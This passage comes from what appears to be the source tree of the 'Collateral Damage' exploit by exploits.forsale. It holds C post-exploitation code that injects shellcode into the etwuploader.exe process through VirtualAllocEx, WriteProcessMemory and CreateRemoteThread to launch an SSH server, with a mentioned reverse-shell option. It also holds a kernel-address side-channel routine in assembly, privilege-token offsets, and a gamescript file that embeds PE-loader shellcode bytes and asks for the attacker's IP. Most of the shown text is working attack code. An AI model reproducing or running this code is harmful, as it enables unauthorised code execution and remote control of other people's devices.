target_process = INVALID_HANDLE_VALUE; 58 | DWORD target_pid = -1; 59 | 60 | DWORD aProcesses[1024], cbNeeded, cProcesses; 61 | unsigned int i; 62 | 63 | sprintf(cur_msg, "Enumerating processes\n"); 64 | send(sock, cur_msg, strlen(cur_msg), 0); 65 | 66 | if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) 67 | { 68 | sprintf(cur_msg, "EnumProcessesFailed\n"); 69 | send(sock, cur_msg, strlen(cur_msg), 0); 70 | return 1; 71 | } 72 | 73 | 74 | // Calculate how many process identifiers were returned. 75 | 76 | cProcesses = cbNeeded / sizeof(DWORD); 77 | 78 | // Print the name and process identifier for each process. 79 | 80 | for (i = 0; i < cProcesses; i++) 81 | { 82 | DWORD pid = aProcesses[i]; 83 | if (pid != 0) 84 | { 85 | CHAR szProcessName[MAX_PATH] = ""; 86 | 87 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 88 | FALSE, pid); 89 | 90 | if (NULL != hProcess) 91 | { 92 | HMODULE hMod; 93 | DWORD cbNeeded; 94 | 95 | if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), 96 | &cbNeeded)) 97 | { 98 | GetModuleBaseNameA(hProcess, hMod, szProcessName, 99 | sizeof(szProcessName) / sizeof(CHAR)); 100 | } 101 | 102 | sprintf(cur_msg, "Process: %s\n", szProcessName); 103 | send(sock, cur_msg, strlen(cur_msg), 0); 104 | 105 | if (strcmp(szProcessName, "etwuploader.exe") == 0) { 106 | sprintf(cur_msg, "Found etwuploader.exe\n"); 107 | send(sock, cur_msg, strlen(cur_msg), 0); 108 | 109 | target_process = hProcess; 110 | target_pid = pid; 111 | 112 | break; 113 | } 114 | 115 | CloseHandle(hProcess); 116 | } 117 | } 118 | } 119 | 120 | // MARKER 121 | 122 | sprintf(cur_msg, "Injecting SSH server into PID: %d\n", target_pid); 123 | send(sock, cur_msg, strlen(cur_msg), 0); 124 | 125 | CHAR stage2_path[0x200] = { 0 }; 126 | ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\stage2.bin", stage2_path, sizeof(stage2_path)); 127 | 128 | sprintf(cur_msg, "Loading stage2 from: %s\n", stage2_path); 129 | send(sock, cur_msg, strlen(cur_msg), 0); 130 | 131 | HANDLE filehandle = CreateFileA(stage2_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0); 132 | if (filehandle == INVALID_HANDLE_VALUE) { 133 | sprintf(cur_msg, "Failed to load stage2\n"); 134 | send(sock, cur_msg, strlen(cur_msg), 0); 135 | exit(0); 136 | return; 137 | } 138 | 139 | DWORD file_size = GetFileSize(filehandle, NULL); 140 | 141 | sprintf(cur_msg, "Allocating memory for the shellcode in the remote process\n"); 142 | send(sock, cur_msg, strlen(cur_msg), 0); 143 | 144 | LPVOID shellcode_addr = VirtualAllocEx(target_process, 0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 145 | HANDLE h_heap = GetProcessHeap(); 146 | BYTE* shellcode_data = HeapAlloc(h_heap, 0, file_size); 147 | 148 | DWORD remaining = file_size; 149 | DWORD bytes_read = 0; 150 | 151 | while (remaining > 0) { 152 | ReadFile(filehandle, shellcode_data + (file_size - remaining), remaining, &bytes_read, NULL); 153 | remaining -= bytes_read; 154 | } 155 | 156 | CloseHandle(filehandle); 157 | 158 | sprintf(cur_msg, "Writing shellcode\n"); 159 | send(sock, cur_msg, strlen(cur_msg), 0); 160 | WriteProcessMemory(target_process, shellcode_addr, shellcode_data, file_size, NULL); 161 | 162 | sprintf(cur_msg, "VirtualProtecting shellcode\n"); 163 | send(sock, cur_msg, strlen(cur_msg), 0); 164 | DWORD old_protection = 0; 165 | VirtualProtectEx(target_process, shellcode_addr, file_size, PAGE_EXECUTE_READ, &old_protection); 166 | 167 | 168 | sprintf(cur_msg, "Creating remote thread\n"); 169 | send(sock, cur_msg, strlen(cur_msg), 0); 170 | 171 | char srv_name[0x200] = { 0 }; 172 | ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\srv.exe", srv_name, sizeof(srv_name)); 173 | sprintf(cur_msg, "New process to be started: %s\n", srv_name); 174 | send(sock, cur_msg, strlen(cur_msg), 0); 175 | 176 | LPVOID image_name = VirtualAllocEx(target_process, 0, sizeof(srv_name), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 177 | WriteProcessMemory(target_process, image_name, srv_name, sizeof(srv_name), NULL); 178 | 179 | SHELLCODE_ARGS args = { 180 | image_name, 181 | NULL, 182 | }; 183 | 184 | LPVOID args_addr = VirtualAllocEx(target_process, 0, sizeof(args), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 185 | sprintf(cur_msg, "Args will be allocated at: %p\n", args_addr); 186 | send(sock, cur_msg, strlen(cur_msg), 0); 187 | 188 | WriteProcessMemory(target_process, args_addr, &args, sizeof(args), NULL); 189 | 190 | HANDLE thread_handle = CreateRemoteThread(target_process, NULL, 0, shellcode_addr, args_addr, 0, NULL); 191 | //ResumeThread(thread_handle); 192 | sprintf(cur_msg, "Remote thread HANDLE: %p\n", thread_handle); 193 | send(sock, cur_msg, strlen(cur_msg), 0); 194 | 195 | sprintf(cur_msg, "Collat payload is done! See the payload server instructions for how to connect\n"); 196 | send(sock, cur_msg, strlen(cur_msg), 0); 197 | 198 | // Close the socket so the other side knows we're done 199 | shutdown(sock, SD_BOTH); 200 | closesocket(sock); 201 | } 202 | 203 | // Put your own code in here! 204 | // Provided is a simple reverse shell example 205 | void post_exploit(SOCKET sock) 206 | { 207 | #if POST_EXPLOIT_REVERSE_SHELL 208 | post_exploit_simple_reverse_shell(sock); 209 | #else 210 | post_exploit_spawn_ssh_server(sock); 211 | #endif 212 | 213 | // Loop forever 214 | while (1) {} 215 | } 216 | -------------------------------------------------------------------------------- /collat_payload/post_exploit.h: -------------------------------------------------------------------------------- 1 | #ifndef _POST_EXPLOIT_H 2 | #define _POST_EXPLOIT_H 3 | #include 4 | 5 | void post_exploit(SOCKET sock); 6 | 7 | #endif 8 | -------------------------------------------------------------------------------- /collat_payload/prefetch_asm.asm: -------------------------------------------------------------------------------- 1 | ; ----------------------------------------------------------------------------------------------------------- 2 | ; based on entrybleed (https://www.willsroot.io/2022/12/entrybleed.html) 3 | ; adapted to windows by exploits.forsale 4 | ; assembly based on example by Elias Bachaalany http://lallouslab.net 5 | 6 | 7 | ; ----------------------------------------------------------------------------------------------------------- 8 | ; Exported symbols 9 | PUBLIC sidechannel 10 | PUBLIC bad_syscall 11 | 12 | ; ----------------------------------------------------------------------------------------------------------- 13 | ; Text segment 14 | ; ----------------------------------------------------------------------------------------------------------- 15 | _TEXT SEGMENT 16 | 17 | 18 | sidechannel PROC 19 | push rbx 20 | push rsi 21 | push rdi 22 | mov rsi, rcx ; save the address away 23 | 24 | mfence 25 | rdtscp 26 | mov r9, rax 27 | mov r8, rdx 28 | xor rax, rax 29 | lfence 30 | 31 | prefetchnta byte ptr [rsi] 32 | prefetcht2 byte ptr [rsi] 33 | 34 | lfence 35 | rdtscp 36 | mov rdi, rax 37 | mov rsi, rdx 38 | 39 | mfence 40 | 41 | mov rbx, r8 42 | shl rbx, 32 43 | or rbx, r9 44 | 45 | mov rax, rsi 46 | shl rax, 32 47 | or rax, rdi 48 | 49 | sub rax, rbx 50 | pop rdi 51 | pop rsi 52 | pop rbx 53 | ret 54 | sidechannel ENDP 55 | 56 | bad_syscall PROC 57 | mov rax, 99999 58 | syscall 59 | ret 60 | bad_syscall ENDP 61 | 62 | 63 | _TEXT ENDS 64 | 65 | END -------------------------------------------------------------------------------- /collat_payload/win_defs.h: -------------------------------------------------------------------------------- 1 | #ifndef _WIN_DEFS_H_ 2 | #define _WIN_DEFS_H_ 3 | #include 4 | #include 5 | 6 | #define SystemHandleInformation 16 7 | 8 | #define EPROC_TOKEN_OFFSET 0x4b8 9 | 10 | #define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16 11 | 12 | typedef struct _OBJECT_TYPE_INFORMATION 13 | { 14 | UNICODE_STRING TypeName; 15 | ULONG TotalNumberOfObjects; 16 | ULONG TotalNumberOfHandles; 17 | ULONG TotalPagedPoolUsage; 18 | ULONG TotalNonPagedPoolUsage; 19 | ULONG TotalNamePoolUsage; 20 | ULONG TotalHandleTableUsage; 21 | ULONG HighWaterNumberOfObjects; 22 | ULONG HighWaterNumberOfHandles; 23 | ULONG HighWaterPagedPoolUsage; 24 | ULONG HighWaterNonPagedPoolUsage; 25 | ULONG HighWaterNamePoolUsage; 26 | ULONG HighWaterHandleTableUsage; 27 | ULONG InvalidAttributes; 28 | GENERIC_MAPPING GenericMapping; 29 | ULONG ValidAccessMask; 30 | BOOLEAN SecurityRequired; 31 | BOOLEAN MaintainHandleCount; 32 | BOOLEAN TypeIndex; 33 | CHAR ReservedByte; 34 | ULONG PoolType; 35 | ULONG DefaultPagedPoolCharge; 36 | ULONG DefaultNonPagedPoolCharge; 37 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; 38 | 39 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 40 | { 41 | unsigned short UniqueProcessId; 42 | unsigned short CreatorBackTraceIndex; 43 | unsigned char ObjectTypeIndex; 44 | unsigned char HandleAttributes; 45 | unsigned short HandleValue; 46 | void* Object; 47 | unsigned long GrantedAccess; 48 | long __PADDING__[1]; 49 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 50 | 51 | typedef struct _SYSTEM_HANDLE_INFORMATION 52 | { 53 | unsigned long NumberOfHandles; 54 | struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 55 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 56 | 57 | typedef struct _DISPATCHER_HEADER 58 | { 59 | union 60 | { 61 | volatile long Lock; 62 | long LockNV; 63 | struct 64 | { 65 | unsigned char Type; 66 | unsigned char Signalling; 67 | unsigned char Size; 68 | unsigned char Reserved1; 69 | }; 70 | struct 71 | { 72 | unsigned char TimerType; 73 | union 74 | { 75 | unsigned char TimerControlFlags; 76 | struct 77 | { 78 | struct 79 | { 80 | unsigned char Absolute : 1; 81 | unsigned char Wake : 1; 82 | unsigned char EncodedTolerableDelay : 6; 83 | }; 84 | unsigned char Hand; 85 | union 86 | { 87 | unsigned char TimerMiscFlags; 88 | struct 89 | { 90 | unsigned char Index : 6; 91 | unsigned char Inserted : 1; 92 | volatile unsigned char Expired : 1; 93 | }; 94 | }; 95 | }; 96 | }; 97 | }; 98 | struct 99 | { 100 | unsigned char Timer2Type; 101 | union 102 | { 103 | unsigned char Timer2Flags; 104 | struct 105 | { 106 | struct 107 | { 108 | unsigned char Timer2Inserted : 1; 109 | unsigned char Timer2Expiring : 1; 110 | unsigned char Timer2CancelPending : 1; 111 | unsigned char Timer2SetPending : 1; 112 | unsigned char Timer2Running : 1; 113 | unsigned char Timer2Disabled : 1; 114 | unsigned char Timer2ReservedFlags : 2; 115 | }; 116 | unsigned char Timer2ComponentId; 117 | unsigned char Timer2RelativeId; 118 | }; 119 | }; 120 | }; 121 | struct 122 | { 123 | unsigned char QueueType; 124 | union 125 | { 126 | unsigned char QueueControlFlags; 127 | struct 128 | { 129 | struct 130 | { 131 | unsigned char Abandoned : 1; 132 | unsigned char DisableIncrement : 1; 133 | unsigned char QueueReservedControlFlags : 6; 134 | }; 135 | unsigned char QueueSize; 136 | unsigned char QueueReserved; 137 | }; 138 | }; 139 | }; 140 | struct 141 | { 142 | unsigned char ThreadType; 143 | unsigned char ThreadReserved; 144 | union 145 | { 146 | unsigned char ThreadControlFlags; 147 | struct 148 | { 149 | struct 150 | { 151 | unsigned char CycleProfiling : 1; 152 | unsigned char CounterProfiling : 1; 153 | unsigned char GroupScheduling : 1; 154 | unsigned char AffinitySet : 1; 155 | unsigned char Tagged : 1; 156 | unsigned char EnergyProfiling : 1; 157 | unsigned char SchedulerAssist : 1; 158 | unsigned char ThreadReservedControlFlags : 1; 159 | }; 160 | union 161 | { 162 | unsigned char DebugActive; 163 | struct 164 | { 165 | unsigned char ActiveDR7 : 1; 166 | unsigned char Instrumented : 1; 167 | unsigned char Minimal : 1; 168 | unsigned char Reserved4 : 2; 169 | unsigned char AltSyscall : 1; 170 | unsigned char Emulation : 1; 171 | unsigned char Reserved5 : 1; 172 | }; 173 | }; 174 | }; 175 | }; 176 | }; 177 | struct 178 | { 179 | unsigned char MutantType; 180 | unsigned char MutantSize; 181 | unsigned char DpcActive; 182 | unsigned char MutantReserved; 183 | }; 184 | }; 185 | long SignalState; 186 | LIST_ENTRY WaitListHead; 187 | } DISPATCHER_HEADER, * PDISPATCHER_HEADER; 188 | 189 | typedef struct _KEVENT 190 | { 191 | struct _DISPATCHER_HEADER Header; 192 | } KEVENT, * PKEVENT; 193 | 194 | 195 | //NTSYSCALLAPI NTSTATUS NTAPI NtCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); 196 | //NTSYSCALLAPI NTSTATUS NTAPI NtDeviceIoControlFile(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength); 197 | NTSYSCALLAPI NTSTATUS NTAPI NtCreateIoCompletion(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads); 198 | NTSYSCALLAPI 199 | NTSTATUS 200 | NTAPI NtSetIoCompletion(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred); 201 | 202 | /*NTSYSCALLAPI 203 | NTSTATUS 204 | NTAPI 205 | NtQuerySystemInformation( 206 | _In_ DWORD SystemInformationClass, 207 | _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, 208 | _In_ ULONG SystemInformationLength, 209 | _Out_opt_ PULONG ReturnLength 210 | );*/ 211 | 212 | NTSYSCALLAPI 213 | NTSTATUS 214 | NTAPI 215 | NtQueryInformationToken( 216 | _In_ HANDLE TokenHandle, 217 | _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, 218 | _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, 219 | _In_ ULONG TokenInformationLength, 220 | _Out_ PULONG ReturnLength 221 | ); 222 | 223 | // Types 224 | 225 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00 226 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01 227 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02 228 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03 229 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04 230 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05 231 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06 232 | #define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 233 | 234 | // Flags 235 | 236 | #define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001 237 | #define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002 238 | #define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004 239 | #define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008 240 | #define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010 241 | #define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020 242 | #define TOKEN_SECURITY_ATTRIBUTE_COMPARE_IGNORE 0x0040 243 | 244 | #define TOKEN_SECURITY_ATTRIBUTE_VALID_FLAGS ( \ 245 | TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE | \ 246 | TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE | \ 247 | TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY | \ 248 | TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT | \ 249 | TOKEN_SECURITY_ATTRIBUTE_DISABLED | \ 250 | TOKEN_SECURITY_ATTRIBUTE_MANDATORY) 251 | 252 | #define TOKEN_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 253 | 254 | // end_rev 255 | 256 | // private 257 | typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE 258 | { 259 | ULONG64 Version; 260 | UNICODE_STRING Name; 261 | } TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; 262 | 263 | // private 264 | typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE 265 | { 266 | PVOID pValue; 267 | ULONG ValueLength; 268 | } TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; 269 | 270 | // private 271 | typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 272 | { 273 | UNICODE_STRING Name; 274 | USHORT ValueType; 275 | USHORT Reserved; 276 | ULONG Flags; 277 | ULONG ValueCount; 278 | union 279 | { 280 | PLONG64 pInt64; 281 | PULONG64 pUint64; 282 | PUNICODE_STRING pString; 283 | PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; 284 | PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; 285 | } Values; 286 | } TOKEN_SECURITY_ATTRIBUTE_V1, * PTOKEN_SECURITY_ATTRIBUTE_V1; 287 | 288 | // rev 289 | #define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1 290 | // rev 291 | #define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 292 | 293 | // private 294 | typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION 295 | { 296 | USHORT Version; 297 | USHORT Reserved; 298 | ULONG AttributeCount; 299 | union 300 | { 301 | PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; 302 | } Attribute; 303 | } TOKEN_SECURITY_ATTRIBUTES_INFORMATION, * PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; 304 | 305 | // private 306 | typedef union _SYSTEM_BUILD_VERSION_INFORMATION_FLAGS 307 | { 308 | ULONG Value32; 309 | struct 310 | { 311 | ULONG IsTopLevel : 1; 312 | ULONG IsChecked : 1; 313 | }; 314 | } SYSTEM_BUILD_VERSION_INFORMATION_FLAGS, * PSYSTEM_BUILD_VERSION_INFORMATION_FLAGS; 315 | 316 | // private 317 | typedef struct _SYSTEM_BUILD_VERSION_INFORMATION 318 | { 319 | USHORT LayerNumber; 320 | USHORT LayerCount; 321 | ULONG OsMajorVersion; 322 | ULONG OsMinorVersion; 323 | ULONG NtBuildNumber; 324 | ULONG NtBuildQfe; 325 | UCHAR LayerName[128]; 326 | UCHAR NtBuildBranch[128]; 327 | UCHAR NtBuildLab[128]; 328 | UCHAR NtBuildLabEx[128]; 329 | UCHAR NtBuildStamp[26]; 330 | UCHAR NtBuildArch[16]; 331 | SYSTEM_BUILD_VERSION_INFORMATION_FLAGS Flags; 332 | } SYSTEM_BUILD_VERSION_INFORMATION, * PSYSTEM_BUILD_VERSION_INFORMATION; 333 | 334 | NTSYSCALLAPI 335 | NTSTATUS 336 | NTAPI 337 | NtQuerySystemInformationEx( 338 | _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, 339 | _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, 340 | _In_ ULONG InputBufferLength, 341 | _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, 342 | _In_ ULONG SystemInformationLength, 343 | _Out_opt_ PULONG ReturnLength 344 | ); 345 | 346 | 347 | #endif 348 | -------------------------------------------------------------------------------- /ntdll.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | NtCreateFile 3 | NtCreateIoCompletion 4 | NtDeviceIoControlFile 5 | NtQueryInformationToken 6 | NtQuerySystemInformation 7 | NtQuerySystemInformationEx 8 | NtSetIoCompletion 9 | -------------------------------------------------------------------------------- /ntdll.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploits-forsale/collateral-damage/f4098eb63eace12dfc60611e789696cd149181a4/ntdll.exp -------------------------------------------------------------------------------- /ntdll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploits-forsale/collateral-damage/f4098eb63eace12dfc60611e789696cd149181a4/ntdll.lib -------------------------------------------------------------------------------- /solstice_artifacts/gamescript_autosave.txt: -------------------------------------------------------------------------------- 1 | // 2 | // Collateral Damage - @carrot_c4k3 & @landaire - exploits.forsale 3 | // 4 | 5 | // !!! PUT YOUR IP BELOW !!! 6 | // EX: var host_ip = "192.168.1.89" 7 | var host_ip = "[YOUR IP HERE]" 8 | 9 | // PE loader shellcode 10 | let pe_loader_code = [ 11 | 0xE9, 0xAF, 0x0, 0x0, 0x0, 0x12, 0x0, 0x0, 0xB0, 0x13, 0x0, 0x0, 0xD2, 0x12, 0x0, 0x0, 0xB0, 0x13, 0x0, 0x0, 0xC8, 0x13, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x25, 0x4C, 0x4F, 0x43, 0x41, 0x4C, 0x41, 0x50, 0x50, 0x44, 0x41, 0x54, 0x41, 0x25, 0x5C, 0x2E, 0x2E, 0x5C, 0x4C, 0x6F, 0x63, 0x61, 0x6C, 0x53, 0x74, 0x61, 0x74, 0x65, 0x5C, 0x73, 0x74, 0x61, 0x67, 0x65, 0x32, 0x2E, 0x62, 0x69, 0x6E, 0x0, 0x45, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x73, 0x41, 0x0, 0x47, 0x65, 0x74, 0x46, 0x69, 0x6C, 0x65, 0x53, 0x69, 0x7A, 0x65, 0x0, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x41, 0x0, 0x52, 0x65, 0x61, 0x64, 0x46, 0x69, 0x6C, 0x65, 0x0, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x0, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x0, 0x0, 0x18, 0x0, 0x0, 0x0, 0x0, 0x80, 0x0, 0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x81, 0xEC, 0x8, 0x1, 0x0, 0x0, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0xB8, 0x4B, 0x0, 0x45, 0x0, 0x52, 0x0, 0x4E, 0x0, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0xB8, 0x45, 0x0, 0x4C, 0x0, 0x42, 0x0, 0x41, 0x0, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0xB8, 0x53, 0x0, 0x45, 0x0, 0x2E, 0x0, 0x44, 0x0, 0x48, 0x89, 0x44, 0x24, 0x50, 0xC7, 0x44, 0x24, 0x58, 0x4C, 0x0, 0x4C, 0x0, 0x66, 0x83, 0x64, 0x24, 0x5C, 0x0, 0x65, 0x48, 0x8B, 0x4, 0x25, 0x60, 0x0, 0x0, 0x0, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x83, 0xC0, 0x10, 0x48, 0x89, 0xC1, 0x48, 0x8B, 0x51, 0x60, 0x48, 0x85, 0xD2, 0x74, 0x57, 0x49, 0xC7, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x45, 0x31, 0xD2, 0x4D, 0x89, 0xD0, 0x66, 0x42, 0x83, 0x7C, 0x4A, 0x2, 0x0, 0x4D, 0x8D, 0x49, 0x1, 0x4D, 0x8D, 0x52, 0x1, 0x75, 0xEC, 0x49, 0xC7, 0xC2, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x42, 0x83, 0x7C, 0x54, 0x42, 0x0, 0x4D, 0x8D, 0x52, 0x1, 0x75, 0xF3, 0x4D, 0x39, 0xCA, 0x75, 0x20, 0x45, 0x31, 0xC9, 0x49, 0x83, 0xE8, 0x1, 0x72, 0x29, 0x46, 0xF, 0xB7, 0x14, 0xA, 0x66, 0x46, 0x33, 0x54, 0xC, 0x40, 0x49, 0x83, 0xC1, 0x2, 0x66, 0x41, 0xF7, 0xC2, 0xDF, 0xFF, 0x74, 0xE3, 0x48, 0x8B, 0x9, 0x48, 0x39, 0xC1, 0x75, 0x98, 0xB8, 0x4, 0x4, 0x0, 0x0, 0xE9, 0x32, 0x1, 0x0, 0x0, 0x4C, 0x8B, 0x61, 0x30, 0x48, 0x8D, 0x15, 0xDF, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0xE1, 0xE8, 0x33, 0x1, 0x0, 0x0, 0x48, 0x89, 0xC6, 0x48, 0x8D, 0x15, 0xC1, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0xE1, 0xE8, 0x21, 0x1, 0x0, 0x0, 0x49, 0x89, 0xC6, 0x48, 0x8D, 0x15, 0xC4, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0xE1, 0xE8, 0xF, 0x1, 0x0, 0x0, 0x48, 0x89, 0xC3, 0x48, 0x8D, 0x15, 0xBF, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0xE1, 0xE8, 0xFD, 0x0, 0x0, 0x0, 0x48, 0x89, 0xC7, 0x48, 0x8D, 0x15, 0x7F, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0xE1, 0xE8, 0xEB, 0x0, 0x0, 0x0, 0x49, 0x89, 0xC7, 0x48, 0x8D, 0x15, 0x53, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0xE1, 0xE8, 0xD9, 0x0, 0x0, 0x0, 0x48, 0x8D, 0xD, 0x1C, 0xFE, 0xFF, 0xFF, 0x4C, 0x8D, 0x64, 0x24, 0x40, 0x4C, 0x89, 0xE2, 0x41, 0xB8, 0xC8, 0x0, 0x0, 0x0, 0xFF, 0xD0, 0x48, 0x83, 0x64, 0x24, 0x30, 0x0, 0xC7, 0x44, 0x24, 0x28, 0x80, 0x0, 0x0, 0x0, 0xC7, 0x44, 0x24, 0x20, 0x4, 0x0, 0x0, 0x0, 0x4C, 0x89, 0xE1, 0xBA, 0x0, 0x0, 0x0, 0x80, 0x45, 0x31, 0xC0, 0x45, 0x31, 0xC9, 0x41, 0xFF, 0xD6, 0x48, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x49, 0x89, 0xC6, 0x48, 0x89, 0xC1, 0x31, 0xD2, 0x41, 0xFF, 0xD7, 0x89, 0xC5, 0x41, 0x89, 0xC7, 0x31, 0xC9, 0x4C, 0x89, 0xFA, 0x41, 0xB8, 0x0, 0x30, 0x0, 0x0, 0x41, 0xB9, 0x4, 0x0, 0x0, 0x0, 0xFF, 0xD3, 0x48, 0x89, 0xC3, 0x4C, 0x8D, 0x64, 0x24, 0x3C, 0x49, 0x89, 0xC5, 0x85, 0xED, 0x74, 0x2F, 0x83, 0x64, 0x24, 0x3C, 0x0, 0x48, 0x83, 0x64, 0x24, 0x20, 0x0, 0x4C, 0x89, 0xF1, 0x4C, 0x89, 0xEA, 0x41, 0x89, 0xE8, 0x4D, 0x89, 0xE1, 0xFF, 0xD6, 0x85, 0xC0, 0x74, 0x2D, 0x8B, 0x44, 0x24, 0x3C, 0x49, 0x1, 0xC5, 0x29, 0xC5, 0xEB, 0xD4, 0xB8, 0x1, 0x0, 0x0, 0x0, 0xEB, 0x20, 0x4C, 0x8D, 0x4C, 0x24, 0x3C, 0x41, 0x83, 0x21, 0x0, 0x48, 0x89, 0xD9, 0x4C, 0x89, 0xFA, 0x41, 0xB8, 0x20, 0x0, 0x0, 0x0, 0xFF, 0xD7, 0xFF, 0xD3, 0xEB, 0x5, 0xB8, 0x2, 0x0, 0x0, 0x0, 0x48, 0x81, 0xC4, 0x8, 0x1, 0x0, 0x0, 0x5B, 0x5D, 0x5F, 0x5E, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0xC3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x66, 0x81, 0x39, 0x4D, 0x5A, 0xF, 0x85, 0x9F, 0x0, 0x0, 0x0, 0x8B, 0x41, 0x3C, 0x8B, 0x84, 0x1, 0x88, 0x0, 0x0, 0x0, 0x44, 0x8B, 0x4C, 0x1, 0x18, 0x44, 0x8B, 0x44, 0x1, 0x1C, 0x44, 0x8B, 0x5C, 0x1, 0x20, 0x44, 0x8B, 0x54, 0x1, 0x24, 0x31, 